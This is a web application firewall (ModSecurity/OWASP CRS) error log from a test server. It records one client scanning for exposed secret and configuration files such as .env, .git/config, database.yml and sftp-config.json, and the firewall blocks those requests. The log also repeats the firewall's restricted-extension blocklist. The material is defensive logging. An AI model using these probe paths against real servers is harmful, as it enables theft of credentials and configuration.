[Tue May 09 10:08:02.486095 2023] [:error] [pid 2564796] [client 213.21.147.71:52023] [client 213.21.147.71] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=10,PHPI=20,HTTP=5,SESS=0): individual paranoia level scores: 35, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/home&quot;] [unique_id &quot;ZFn-Ykwf-WPWf2U@Ko2p6wAAAAk&quot;]
[Tue May 09 10:08:49.027339 2023] [:error] [pid 2571515] [client 213.21.147.71:52122] [client 213.21.147.71] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.axd&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/elmah.axd&quot;] [unique_id &quot;ZFn-kfL6YdC63eY1GExiuQAAAAw&quot;]
[Tue May 09 10:08:49.027789 2023] [:error] [pid 2571515] [client 213.21.147.71:52122] [client 213.21.147.71] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/elmah.axd&quot;] [unique_id &quot;ZFn-kfL6YdC63eY1GExiuQAAAAw&quot;]
[Tue May 09 10:08:49.028010 2023] [:error] [pid 2571515] [client 213.21.147.71:52122] [client 213.21.147.71] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/elmah.axd&quot;] [unique_id &quot;ZFn-kfL6YdC63eY1GExiuQAAAAw&quot;]
[Tue May 09 10:08:49.030303 2023] [:error] [pid 2571526] [client 213.21.147.71:52121] [client 213.21.147.71] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.axd&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/trace.axd&quot;] [unique_id &quot;ZFn-kbclbae1yinrQt9OswAAAAY&quot;]
[Tue May 09 10:08:49.030658 2023] [:error] [pid 2571526] [client 213.21.147.71:52121] [client 213.21.147.71] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/trace.axd&quot;] [unique_id &quot;ZFn-kbclbae1yinrQt9OswAAAAY&quot;]
[Tue May 09 10:08:49.030863 2023] [:error] [pid 2571526] [client 213.21.147.71:52121] [client 213.21.147.71] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/trace.axd&quot;] [unique_id &quot;ZFn-kbclbae1yinrQt9OswAAAAY&quot;]
[Tue May 09 10:08:49.043286 2023] [authz_core:error] [pid 2571526] [client 213.21.147.71:52121] AH01630: client denied by server configuration: /var/www/pms.test.indaco.store/www/.htaccess
[Tue May 09 10:08:49.069940 2023] [:error] [pid 2571526] [client 213.21.147.71:52121] [client 213.21.147.71] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZFn-kbclbae1yinrQt9OtQAAAAY&quot;]
[Tue May 09 10:08:49.070186 2023] [:error] [pid 2571526] [client 213.21.147.71:52121] [client 213.21.147.71] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZFn-kbclbae1yinrQt9OtQAAAAY&quot;]
[Tue May 09 10:08:49.070386 2023] [:error] [pid 2571526] [client 213.21.147.71:52121] [client 213.21.147.71] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZFn-kbclbae1yinrQt9OtQAAAAY&quot;]
[Tue May 09 10:08:49.114536 2023] [:error] [pid 2571526] [client 213.21.147.71:52121] [client 213.21.147.71] ModSecurity: Warning. Matched phrase &quot;.idea&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .idea found within REQUEST_FILENAME: /.idea/webservers.xml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.idea/WebServers.xml&quot;] [unique_id &quot;ZFn-kbclbae1yinrQt9OtwAAAAY&quot;]
[Tue May 09 10:08:49.114773 2023] [:error] [pid 2571526] [client 213.21.147.71:52121] [client 213.21.147.71] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.idea/WebServers.xml&quot;] [unique_id &quot;ZFn-kbclbae1yinrQt9OtwAAAAY&quot;]
[Tue May 09 10:08:49.114997 2023] [:error] [pid 2571526] [client 213.21.147.71:52121] [client 213.21.147.71] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.idea/WebServers.xml&quot;] [unique_id &quot;ZFn-kbclbae1yinrQt9OtwAAAAY&quot;]
[Tue May 09 10:08:49.140645 2023] [:error] [pid 2571526] [client 213.21.147.71:52121] [client 213.21.147.71] ModSecurity: Warning. Matched phrase &quot;database.yml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: database.yml found within REQUEST_FILENAME: /config/database.yml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/database.yml&quot;] [unique_id &quot;ZFn-kbclbae1yinrQt9OuQAAAAY&quot;]
[Tue May 09 10:08:49.140876 2023] [:error] [pid 2571526] [client 213.21.147.71:52121] [client 213.21.147.71] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/database.yml&quot;] [unique_id &quot;ZFn-kbclbae1yinrQt9OuQAAAAY&quot;]
[Tue May 09 10:08:49.141086 2023] [:error] [pid 2571526] [client 213.21.147.71:52121] [client 213.21.147.71] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/database.yml&quot;] [unique_id &quot;ZFn-kbclbae1yinrQt9OuQAAAAY&quot;]
[Tue May 09 10:08:49.154042 2023] [:error] [pid 2571526] [client 213.21.147.71:52121] [client 213.21.147.71] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZFn-kbclbae1yinrQt9OugAAAAY&quot;]
[Tue May 09 10:08:49.154267 2023] [:error] [pid 2571526] [client 213.21.147.71:52121] [client 213.21.147.71] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZFn-kbclbae1yinrQt9OugAAAAY&quot;]
[Tue May 09 10:08:49.154459 2023] [:error] [pid 2571526] [client 213.21.147.71:52121] [client 213.21.147.71] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZFn-kbclbae1yinrQt9OugAAAAY&quot;]
[Tue May 09 10:08:49.166417 2023] [:error] [pid 2571526] [client 213.21.147.71:52121] [client 213.21.147.71] ModSecurity: Warning. Matched phrase &quot;/.svn/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/entries&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/entries&quot;] [unique_id &quot;ZFn-kbclbae1yinrQt9OuwAAAAY&quot;]
[Tue May 09 10:08:49.166641 2023] [:error] [pid 2571526] [client 213.21.147.71:52121] [client 213.21.147.71] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/entries&quot;] [unique_id &quot;ZFn-kbclbae1yinrQt9OuwAAAAY&quot;]
[Tue May 09 10:08:49.166851 2023] [:error] [pid 2571526] [client 213.21.147.71:52121] [client 213.21.147.71] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/entries&quot;] [unique_id &quot;ZFn-kbclbae1yinrQt9OuwAAAAY&quot;]
[Tue May 09 10:08:49.178509 2023] [:error] [pid 2571526] [client 213.21.147.71:52121] [client 213.21.147.71] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.db&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/wc.db&quot;] [unique_id &quot;ZFn-kbclbae1yinrQt9OvAAAAAY&quot;]
[Tue May 09 10:08:49.178654 2023] [:error] [pid 2571526] [client 213.21.147.71:52121] [client 213.21.147.71] ModSecurity: Warning. Matched phrase &quot;/.svn/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/wc.db&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/wc.db&quot;] [unique_id &quot;ZFn-kbclbae1yinrQt9OvAAAAAY&quot;]
[Tue May 09 10:08:49.178860 2023] [:error] [pid 2571526] [client 213.21.147.71:52121] [client 213.21.147.71] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/wc.db&quot;] [unique_id &quot;ZFn-kbclbae1yinrQt9OvAAAAAY&quot;]
[Tue May 09 10:08:49.179048 2023] [:error] [pid 2571526] [client 213.21.147.71:52121] [client 213.21.147.71] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/wc.db&quot;] [unique_id &quot;ZFn-kbclbae1yinrQt9OvAAAAAY&quot;]
[Tue May 09 10:08:49.204116 2023] [authz_core:error] [pid 2571526] [client 213.21.147.71:52121] AH01630: client denied by server configuration: /var/www/pms.test.indaco.store/www/server-status
[Tue May 09 10:08:49.229761 2023] [:error] [pid 2571526] [client 213.21.147.71:52121] [client 213.21.147.71] ModSecurity: Warning. Matched phrase &quot;/sftp-config.json&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /sftp-config.json found within REQUEST_FILENAME: /sftp-config.json&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sftp-config.json&quot;] [unique_id &quot;ZFn-kbclbae1yinrQt9OwAAAAAY&quot;]
[Tue May 09 10:08:49.229994 2023] [:error] [pid 2571526] [client 213.21.147.71:52121] [client 213.21.147.71] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sftp-config.json&quot;] [unique_id &quot;ZFn-kbclbae1yinrQt9OwAAAAAY&quot;]
[Tue May 09 10:08:49.230189 2023] [:error] [pid 2571526] [client 213.21.147.71:52121] [client 213.21.147.71] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sftp-config.json&quot;] [unique_id &quot;ZFn-kbclbae1yinrQt9OwAAAAAY&quot;]
[Tue May 09 10:08:49.457649 2023] [:error] [pid 2571526] [client 213.21.147.71:52121] [client 213.21.147.71] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/WS_FTP.ini&quot;] [unique_id &quot;ZFn-kbclbae1yinrQt9OwQAAAAY&quot;]
